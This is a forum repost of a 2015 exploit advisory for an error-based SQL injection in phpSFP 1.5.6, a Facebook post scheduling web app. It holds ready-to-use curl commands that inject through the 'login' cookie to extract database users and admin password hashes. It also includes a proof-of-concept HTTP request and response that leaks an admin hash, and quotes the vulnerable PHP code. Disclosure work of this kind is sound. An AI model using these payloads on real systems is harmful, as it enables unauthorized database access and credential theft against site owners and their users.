Aerosol Posted April 3, 2015 Report Posted April 3, 2015 ####################################################################### _ ___ _ _ ____ ____ _ _____# | | / _ \| \ | |/ ___|/ ___| / \|_ _|# | | | | | | \| | | _| | / _ \ | |# | |__| |_| | |\ | |_| | |___ / ___ \| |# |_____\___/|_| \_|\____|\____/_/ \_\_|## phpSFP - Schedule Facebook Posts 1.5.6 SQL Injection (0-day)# Website : http://codecanyon.net/item/phpsfp-schedule-facebook-posts/5177393# Exploit Author : @u0x (Pichaya Morimoto)# Release dates : April 2, 2015## Special Thanks to 2600 Thailand group:# xelenonz, pe3z, anidear, windows98se, icheernoom, penguinarmy# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/#########################################################################[+] Description============================================================phpSFP – is a Platform where you can easily manage your scheduling forall your (Facebook) pages & groups in one place.It helps to send messages, ads, events, news and so on. phpSFP ispretty popular more than its sale record thanks to nulled group(underground WebApp license crackers).[+] Background <3============================================================I managed to track down a group of Vietnam-based Facebook spammerwhich posted ads on many FB groups I'm joined.And ended up with a website that is modified version (all phpSFPcredits are removed) of phpSFP 1.4.1.so I did some matching and found the original application is phpSFP.Guess what happens when spammer mess up with offsec guy [+] Exploit============================================================There are many possible ways to do SQLi, I will go with error-basedwhich enabled by default on phpSFP xD$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' orextractvalue(rand(),concat(0x2e,user())) or '1|||1"in case you don't know, for further queries you have to change'user()' to something else, e.g.$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' orextractvalue(rand(),concat(0x2e,(selectconcat_ws(0x3a,username,password) from users limit 1))) or '1|||2"don't forgot to do length()/substr() stuffs due to limitation of 32characters in error message[+] Proof-of-Concept============================================================PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7GET /index.php/login HTTP/1.1Host: 192.168.33.103Proxy-Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, sdchAccept-Language: en-US,en;q=0.8Cookie: login=1|||1' or extractvalue(rand(),concat(0x2e,(selectconcat_ws(0x3a,username,password) from users limit 1))) or '1|||2HTTP/1.1 500 Internal Server ErrorServer: Apache/2.4.7 (Ubuntu)Date: Thu, 02 Apr 2015 13:15:08 GMTContent-Type: text/html; charset=UTF-8Connection: keep-aliveSet-Cookie: ci_session=<deducted>; expires=Sat, 01-Apr-2017 13:15:08GMT; Max-Age=63072000; path=/Content-Length: 838<html><head><title>Database Error</title><style type="text/css">....<h1>A Database Error Occurred</h1> <p>Error Number: 1105</p><p>XPATH syntax error:'admin:f0250d9b38c974122119abf826'</p><p>....[+] Vulnerability Analysis============================================================I have analyzed on 1.5.6 (lastest version) and 1.4.1 (a popularedition released by nulled group)The bug itself is quite interesting.. the author did well in loginfunction but failedto parameterized/escape SQL query in 'remember me' function inauthentication phrase.; phpSFP 1.5.6File: application/models/auth.php function cookie() { if(get_cookie('login')) <-- if 'login' cookie is setted { list($id_user, $password, $access) = explode("|||",get_cookie('login')); <-- split by ||| // the magic happens here $qusers = $this->db->query("SELECT id FROM users WHEREid='".$id_user."' AND password='".$password."'");; phpSFP 1.4.1, same thing but in different fileFile: application/controllers/login.php public function index() { if(get_cookie('login')) <-- if 'login' cookie is setted { list($id_user, $password, $access) = explode("|||",get_cookie('login')); <-- split by ||| // the magic happens here $qusers = $this->db->query("SELECT id FROM users WHEREid='".$id_user."' AND password='".$password."'");Source Quote